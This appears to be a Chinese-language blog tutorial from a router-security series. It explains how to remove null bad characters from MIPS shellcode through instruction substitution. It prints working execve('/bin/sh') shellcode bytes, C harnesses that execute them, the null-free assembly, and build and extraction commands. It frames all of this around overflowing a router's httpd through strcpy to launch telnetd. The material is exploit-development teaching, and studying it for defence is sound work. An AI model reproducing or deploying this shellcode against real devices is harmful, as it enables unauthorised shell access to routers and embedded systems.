欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

十六、Shellcode指令优化

程序员文章站 2022-03-10 16:09:46
...

在上一篇的分享中,我们编写了一段使用execve系统调用执行/bin/sh命令的Shellcode:

#include <stdio.h>
// shellcode 指令数据
char sc[] = {
 "\x24\x06\x01\x11"
 "\x04\xd0\xff\xff"
 "\x24\x06\x00\x00"
 "\x27\xbd\xff\xe0"
 "\x27\xe4\x00\x1c"
 "\xaf\xa4\xff\xe8"
 "\xaf\xa0\xff\xec"
 "\x27\xa5\xff\xe8"
 "\x24\x02\x0f\xab"
 "\x00\x00\x00\x0c"
 "/bin/sh"
};

void main(void)
{
       void(*s)(void);
       printf("size: %d\n", strlen(sc));
       s = sc;
       s();
}

然后,我们在测试main函数里使用字符串操作函数strlen计算了这个数组的长度,这里显然是存在问题的,因为sc数组并不是常规的字符串,而是二进制字节序列,当其中包含了0x00时,这个sc数组会自动被字符串处理函数截断,这也就是测试main函数的printf函数输出的size等于10的原因,因为sc数组的第11个字节是0x00,也就是字符串结尾标志。

所以,即便是这段Shellcode再完美,当它被字符串类的处理函数(strlen、strcpy、strcat、sprintf)处理时,都会被截断,如果使用的是strcpy函数将sc数组拷贝到了另一个buf缓冲区中时,原本40多个字节的Shellcode就被截断成了10个字节,显然,这样就不能完成Shellcode应有的功能了:

#include <stdio.h>
// shellcode 指令数据
char sc[] = {
 "\x24\x06\x01\x11"
 "\x04\xd0\xff\xff"
 "\x24\x06\x00\x00"
 "\x27\xbd\xff\xe0"
 "\x27\xe4\x00\x1c"
 "\xaf\xa4\xff\xe8"
 "\xaf\xa0\xff\xec"
 "\x27\xa5\xff\xe8"
 "\x24\x02\x0f\xab"
 "\x00\x00\x00\x0c"
 "/bin/sh"
};

char sc2[64] = {0}void main(void)
{
       void(*s)(void);
       printf("size: %d\n", strlen(sc));
       strcpy(sc2, sc);
       s = sc2;
       s();
}

按照这段代码的逻辑,将sc数组使用strcpy函数拷贝到sc2时,sc2中的有效数组长度就变成了10,此时,将sc2当作函数执行时,就会运行失败。

此时,我们假设个场景,sc数组是我们的攻击载荷,它要使用execve系统调用执行telnetd服务,sc数组中间位置包含了0x00,现在我们要将它通过http协议投放到目标路由器的httpd进程中,而目标路由器的httpd进程会使用strcpy函数将收到的sc数组拷贝到变量buf中,由于strcpy函数遇到0x00就自动做字符串截断,也就是将sc数组的一部分数据拷贝到了buf中,拷贝完成后,由于缓冲区溢出,程序执行流程跳转到了攻击载荷进行执行,那么这段载荷只有0x00字节前面的部分被解析为机器指令执行了,由于被执行的指令是不完整的,所以,载荷最终没有被完整的成功的执行,也就达不到启动telnetd服务的目的。

所以,在这段Shellcode中的0x00就被称为坏字符,当然,坏字符不仅仅指的是0x00,有时候受漏洞程序逻辑影响,换行、空格等字符都有可能为导致Shellcode复制和执行失败的坏字符。

也因此,我们需要通过一些方法去除坏字符。书中介绍了两种常用的方法—指令优化和Shellcode编码。

指令优化

指令优化是指通过选择一些特殊的指令避免在Shellcode中直接生成坏字符。经常出现坏字符“NULL”也就是0x00字节的指令,我们可以看一下:


普通指令    机器码       
li $a2, 0  24 06 00 00   

 无NULL指令            机器码
 slti $a2, $zero,-1   28 06 ff ff

可见,设置寄存器a2为0,可以采用当zero less than -1时set a2为1,否则设置为0的逻辑,也就是slti指令(set less than immediate)。

同样的,如果你想设置a2寄存器的值为1,可以参考以下的代码:

普通指令    机器码       
li $a0, 1  24 04 00 01
无NULL指令            机器码
 sltiu $a0, $zero,-1   2c 04 ff ff

这里,我们看到无NULL指令使用的是sltiu指令,英文单词缩写是set less than immediate unsigned,也就是对无符号数做比较,当zero小于-1时,就设置a02为1,否则设置a0为0,注意,这里因为比较的是无符号数,所以-1实际上代表的是全F的正整数,所以这里的zero是小于-1的,故a0被设置为1,也就达成了这个无NULL指令。

实际上,编写Shellcode时要权衡长度及坏字符,当缓冲区大小比较宽裕时,可以考虑使用多条运算指令规避坏字符,这里也使用书中的两个例子进行说明:


普通指令              机器码       
addiu $a0, $ra, 32   24 e4 00 20
无NULL指令              机器码
addiu $a0, $ra, 4097    27 e4 10 01
addiu $a0, $a0, -4065   24 84 f0 1f

这里将ra寄存器+32的操作灵活的转变为了ra+4097-4065,也就变成了ra+32。

第二个例子是将a2寄存器设置为5:

普通指令              机器码       
li $a2, 5            24 06 00 05
无NULL指令              机器码
li $t6, -9              24 0e ff f7
nor $t6, $t6, $zero      01 c0 70 27
addi $a2, $t6, -3        21 c6 ff fd

第二个例子可能不太好理解,我们来稍微解释以下。

首先整数在计算机中是以补码的形式在内存中存储的,正数的补码与原码相同,负数的补码为其原码除符号位外所有位取反(得到反码了),然后最低位加1,我们来计算以下:

-9的原码是10001001.

-9的反码是11110110.

-9的补码是11110111.

然后第二条的nor指令是将-9的补码和0进行同或操作。

异或的意思的相同为0,不同为1,那么同或的意思正好与异或相反,就是相同为1,不同为0。

那么t6 = t6 nor 0 = 11110111 nor 00000000 = 00001000

    11110111 
    00000000 
nor____________
    00001000

这时t6的值就等于8.

最后我们使用t6 -3,也就8-3,就将a2的值设置为了5.

最后,我们使用上面的指令优化技巧将之前的shellcode修改一下:

先看修改后的汇编代码:

.section .text
.globl __start
.set noreorder
__start:
li $a2, 257
p:bltzal $a2, p
slti $a2, $zero, -1
addiu $sp, $sp, -32
addiu $a0, $ra, 4097
addiu $a0, $a0, -4065
sw $a0, -24($sp)
sw $zero, -20($sp)
addiu $a1, $sp, -24
li $v0, 4011
syscall 0x40404
sc:
        .byte 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68

这段汇编代码将有可能出现坏字符(这里指0x00)的指令都替换掉了。

li $a2, 0替换成了slti $a2, $zero, -1。

addiu $a0, $ra, -28替换为了两条指令,注意,这里因为增加了一条指令,实际上,是将-28最终变成了-32。

将syscall变成了syscall 0x40404。

这样这段汇编代码编译后,并使用readelf命令和dd命令提取出的二进制Shellcode就不包含了0x00字符了:

# as mysh.S -o mysh.o
# ld mysh.o -o mysh
# readelf -S mysh
There are 8 section headers, starting at offset 0x2bc:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .MIPS.abiflags    MIPS_ABIFLAGS   00400098 000098 000018 18   A  0   0  8
  [ 2] .reginfo          MIPS_REGINFO    004000b0 0000b0 000018 18   A  0   0  4
  [ 3] .text             PROGBITS        004000d0 0000d0 000040 00  AX  0   0 16
  [ 4] .gnu.attributes   LOOS+0xffffff5  00000000 000110 000010 00      0   0  1
  [ 5] .symtab           SYMTAB          00000000 000120 000110 10      6  10  4
  [ 6] .strtab           STRTAB          00000000 000230 000041 00      0   0  1
  [ 7] .shstrtab         STRTAB          00000000 000271 000049 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)
[email protected]:~/dir-619l/shellcode# 
# dd if=mysh of=mysh.ins bs=1 skip=208 count=64
64+0 records in
64+0 records out
64 bytes copied, 0.0149843 s, 4.3 kB/s

# hexdump mysh.ins
0000000 2406 0101 04d0 ffff 2806 ffff 27bd ffe0
0000010 27e4 1001 2484 f01f afa4 ffe8 afa0 ffec
0000020 27a5 ffe8 2402 0fab 0101 010c 2f62 696e
0000030 2f73 6800 0000 0000 0000 0000 0000 0000
0000040

由hexdump的输出,我们可以看出,这个shellcode的有效部分中间已经不包含0x00了。感兴趣的读者可以参考上一篇的分享中的测试main函数,将这段Shellcode组织成字符数组,然后赋值给一个函数指针进行运行测试。

使用上面的技巧将Shellcode指令进行优化后,可以达到去除坏字符0x00的目的,但是在漏洞利用的过程中,我们会经常遇到更加苛刻的条件,比如需要去除其他坏字符(0x0A、0x0D等),此时通过特殊指令就很难办到了,这时,我们通常的办法就是对Shellcode进行编码,这也是下一次我要分享的内容。

最后希望本次的分享能够为你带来帮助,谢谢大家。

相关标签: 路由器安全